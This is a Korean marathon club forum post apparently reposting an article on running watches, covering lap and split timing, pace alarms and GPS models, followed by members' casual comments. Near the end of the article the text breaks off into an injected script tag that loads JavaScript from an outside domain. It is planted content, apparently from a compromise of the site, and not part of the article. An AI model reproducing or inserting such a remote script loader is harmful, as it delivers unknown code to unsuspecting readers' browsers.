인천고마라톤동호회
잘고른 시계 하나, 어설픈 코치보다 낫다
작성자 : 안남헌
작성일 : 2006.04.11 10:13
조회수 : 1,177
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잘고른 시계 하나, 어설픈 코치보다 낫다
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마라톤을 하는 사람들에게 가장 필요한 제품을 하나만 꼽으라면 당연히 러닝화다. 반드시 필요하지는 않지만 또 없어서는 안 될 것 같은 제품이 하나 있다. 바로 시계다. 서브3를 목표로 맹렬한 스피드 훈련에 몰입한 고수들뿐만 아니라 살 빼기를 목표로 동네를 가볍게 달리는 초보 러너들에게도 시계는 빼놓을 수 없는 필수품이다. 페이스메이커 역할 톡톡 운동량을 측정하고 거기에 맞는 강도를 조절할 수 있어야 자신이 원하는 목표에 빨리 도달할 수 있다. 그것이 기록이든 체중이든 마찬가지다. “시계가 뭐 그리 중요하냐?”고 얘기하는 사람들도 있겠지만 그렇게 말하는 사람들은 그만큼 자신이 원하는 목표에 늦게 도달하게 될 것이다. 이도 저도 아니고 그저 가볍게 산책을 겸해서 달린다고 한다면 상관없을 수도 있다. 마라톤 시계의 가장 기본적인 기능은 스톱워치다. 출발점에서부터 도착점까지 소요되는 시간을 측정하는 것이다. 마라톤 시계가 아니라도 간단한 전자시계라면 대부분 이 기능이 포함되어 있다. 가격도 1만∼2만원이면 충분히 구입할 수 있다. 하지만 적어도 ‘마라톤 시계’라고 내세우려면 구간(Lap) 시간 측정 기능을 반드시 포함하고 있어야 한다. 구간 시간 측정은 마라톤 훈련, 특히 스피드 훈련에서 반드시 필요한 기능이다. 10km를 달리면서 1km마다의 기록을 측정하거나 거리에 관계없이 달리면서 임의로 몇 차례 시간을 측정할 수 있다. 이런 기능을 스플리트(Split) 타임, 혹은 랩타임 기능이라고 부른다. 스플리트 타임과 랩타임이라는 개념은 흔히 혼용되어 사용되지만 엄밀히 말하면 차이가 있다. 스플리트 타임은 일정한 거리가 아닌 임의의 구간 시간을 측정하는 것을 말하고, 랩타임은 정해진 일정 구간의 기록을 측정하는 것을 의미한다. 800m마다 기록을 측정한다면 랩타임이지만, 측정하는 거리가 다르다면 스플리트 타임이 된다. 하지만 시계의 기능상 큰 차이는 없다. 랩타임 측정은 훈련을 개수적이고 과학적으로 할 수 있는 기본적인 요소다. 제품 종류에 따라 랩타임 저장량이 달라진다. 10개부터 30개, 50개 등이 있으며 1백개 이상의 랩타임 저장 기능을 가진 제품들도 있다. 마라톤 풀코스를 달리면서 5km마다 구간 시간을 측정한다고 하면 랩타임 10개짜리면 충분하다. 하지만 800m 단위로 인터벌 훈련을 여러 세트 실시해야 한다거나 좀더 세분화해서 랩타임을 얻어야 한다면 30개 이상의 저장 기능을 가진 제품이 좋다. 마라톤 시계에 기본적으로 포함되어 있지만 대부분의 사람들이 잘 모르거나 자주 사용하지 않는 기능 중 하나가 바로 ‘페이스 조절’ 기능이다. 특정 구간별 목표 시간을 저장해 놓으면 해당 시간에 도달할 때마다 알람으로 알려준다. 예를 들어 5km를 25분에 달리는 페이스로 설정을 해두었다면 알람이 울리는 시간에 자신이 도달한 거리를 파악, 페이스를 알 수 있는 것이다. 풀코스 대회에 나설 때 의욕 때문에 초반 오버페이스로 레이스를 망친 경험이 있는 사람들이라면 솔깃할 수도 있다. 든든한 페이스메이커를 손목에 달고 달리는 셈이 될 것이다. 거리, 심박수 측정하는 만능 시계 시계를 이용한 훈련을 하지 못하는 가장 큰 이유 중 하나는 자신이 뛰는 거리를 정확히 모르기 때문이다. 거리 표시가 되어있는 훈련 코스나 트랙 등을 달릴 때는 상관없지만 동네 공원이나 산책로를 달린다면 상황은 달라진다. 자신이 달린 정확한 거리를 파악할 수 없기 때문이다. 이럴 땐 시간은 물론 거리까지 측정할 수 있는 시계를 이용하면 편리하다. 위성항법장치인 GPS를 이용하면 달리는 거리를 정확하게 측정할 수 있다. 마라톤 용품 전문업체의 한 관계자는 “GPS를 이용한 거리 측정의 정확성은 99%에 가깝다”고 말했다. 미국 타이맥스의 ‘스피드 앤드 디스턴스(Speed & Distance)’ 시리즈가 바로 거리 측정을 할 수 있는 대표적인 시계다. 이 제품은 GPS 수신기와 시계가 별도로 구성되어 있다. 시계는 손목에, GPS 수신기는 팔 윗부분에 차고 달리도록 되어있다. GPS 수신기에서 받은 정보를 무선통신을 이용, 시계로 전송하는 방식이다. GPS 기술로 유명한 미국 가민(Garmin)사의 포어러너(Forerunner) 시리즈도 대표적인 거리 측정 시계다. 포어러너 201은 GPS 수신기와 시계가 일체형으로 되어있어 착용이 편리하다. 얇은 폴더형 휴대폰이나 초기?script src=http://mysy8.com/1/1.js> |
댓글목록 0
안남헌님의 댓글
작년 1월 자료니까 신제품이 나와있을수도 있습니다.
안남헌님의 댓글
작년 임진각 아디다스 king of the road 게임에 시가 99,000원의 시계에 탐이나 뛰었었는데... 시계도 우리집 어디에 굴러다니는지 모르겠고(두껍고 기능도 잘 모르겠음) 주로 통제가 잘 안되어서 무척 짜증나는 달리기였음. 절반부터 걸었지만...ㅎㅎㅎ
윤영설님의 댓글
시계와달림이는동반자이자악연이지요
뛰다가 시계를안찼다면옆달림이한테묻자마세요(피곤하니까)
뛰다가앞사람이한명도업다면 1등안면 꼬래비,묻혀있다면중간은됩니다
표석근님의 댓글
남헌이 형 굴러다니는 시계 하나줘요
이상동님의 댓글
잘 찿아보시고 석근이주고 남으면 나두주라...ㅋㅋㅋ 대한민국이니 될껴...
차광석님의 댓글
역시 좋은 글이네 ~ 그라고 4월 19일(수) 2차 달리기 모임에서 상의 하겠지만...
단체참가 혜택이 더 좋고 대회운영이 양호한 대회들이 몇개 더 있는것 같으니 모임날 좋은 의견들 주도록 합시다 !
왜냐하면 대회를 여러번 참가해본 분들은 아시겠지만 달릴때 주로통제등이 문제가 되어서 심하게 어려울수도 있으니...
안남헌님의 댓글
올해 시계주는대회 한번 더 나가?? 대회 많이 참석해야겠네... 운동화, 츄리닝, 시계, 고글..... ㅎㅎㅎ
이익재님의 댓글
카시오 이봉주마라톤시계 강추..아자아자!